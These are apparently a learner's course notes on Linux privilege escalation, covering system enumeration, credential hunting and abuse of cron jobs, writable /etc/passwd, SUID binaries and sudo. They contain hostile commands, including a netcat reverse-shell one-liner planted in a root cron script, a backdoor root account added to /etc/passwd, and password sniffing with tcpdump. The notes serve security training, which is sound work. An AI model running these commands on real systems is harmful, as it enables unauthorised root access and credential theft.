Module 17: Linux Privilege Escalation

Enumerating Linux

A very useful site for privilege escalation:

GTFOBins

Understanding Files and Users Privileges on Linux

File permissions, nothin' fancy to add.

Manual Enumeration

# Various places to gather information
kali@kali:~$ hostname # Device name
kali@kali:~$ cat /etc/issue # OS Version
kali@kali:~$ cat /etc/os-release # Release-specific information
kali@kali:~$ uname -a # Kernel Version & Architecture
kali@kali:~$ ps aux # List all running services (with or without a tty) in user-readable format
kali@kali:~$ ip a # TCP/IP information for every network adapter
kali@kali:~$ routel # List routing information
kali@kali:~$ ss -anp # List all network connections w/o name resolution, including process name owning the connection
kali@kali:~$ cat /etc/iptables/rules.v4 # Reading firewall rules
kali@kali:~$ ls -lah /etc/cron* # Scheduled task scripts
kali@kali:~$ crontab -l # List the current user's scheduled jobs
kali@kali:~$ dpkg -l # List installed applications on Debian system
kali@kali:~$ find / -writable -type d 2>/dev/null # Finding all writable directories
kali@kali:~$ cat /etc/fstab # List all auto-mounted filesystems
kali@kali:~$ mount # List all currently mounted filesystems
kali@kali:~$ lsblk # View all available disks
kali@kali:~$ lsmod # List kernel modules
kali@kali:~$ /sbin/modinfo <module> # Gather additional information on a kernel module
kali@kali:~$ find / -perm -u=s -type f 2>/dev/null # Finding all files with the SUID bit set

Automated Enumeration

Bash script to check for privilege escalation vectors: /usr/bin/unix-privesc-check Note: This runs via /bin/sh by default, run with bash to avoid issues with if statements.

Exposed Confidential Information

Inspecting User Trails

Check environment variables via env, dig into where they come from if important information is stored to validate it.

Creating a custom wordlist with crunch:

# This generates a wordlist with a minimum and maximum character length of 6, specifying the pattern with -t.
kali@kali:~$ crunch 6 6 -t Lab%%% > wordlist

Inspecting Service Footprints

Watching for processes that may be started with important information:

kali@kali:~$ watch -n 1 'ps aux | grep -i pass'

If we have privileges to capture network traffice:

kali@kali:~$ sudo tcpdump -i <interface> -A | grep -i 'pass'

Insecure File Permissions

Abusing Cron Jobs

Searching syslog for cronjobs (also reviewing /var/log/cron.log):

kali@kali:~$ grep 'CRON' /var/log/syslog
# Determining permission of script run as root via cronjob
kali@kali:~$ ls -l /home/joe/.scripts/user_backups.sh

# Adding a one-liner reverse shell to the script
kali@kali:~$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your.listener.ip.here port >/tmp/f" >> user_backups.sh

Abusing Password Authentication

If the /etc/passwd file is writable, we can abuse this due to Linux using authentication here prior to /etc/shadow for backwards compatability.

Generating a hash via openssl then adding it to /etc/passwd if it's writable:

kali@kali:~$ openssl passwd w00t
.lTs.02x/lWNE

kali@kali:~$ echo 'root2:.lTs.02x/lWNE:0:0:root:/root:/bin/bash' >> /etc/passwd

kali@kali:~$ su - root2
Password: w00t

root@debian-privesc:~# id
uid=0(root) gid=0(root) groups=0(root)

Insecure System Components

Abusing Setuid Binaries and Capabilities

Searching for binaries with capability misconfigurations:

kali@kali:~$ /usr/sbin/getcap -r / 2>/dev/null
kali@kali:~$ find / -type f -perm -u=s -user root 2>/dev/null

Abusing Sudo

See what commands can be potentially abused via sudo:

kali@kali:~$ sudo -l

Exploiting Kernel Vulnerabilities

Kernel exploits can be volatile, be careful just tossing them around.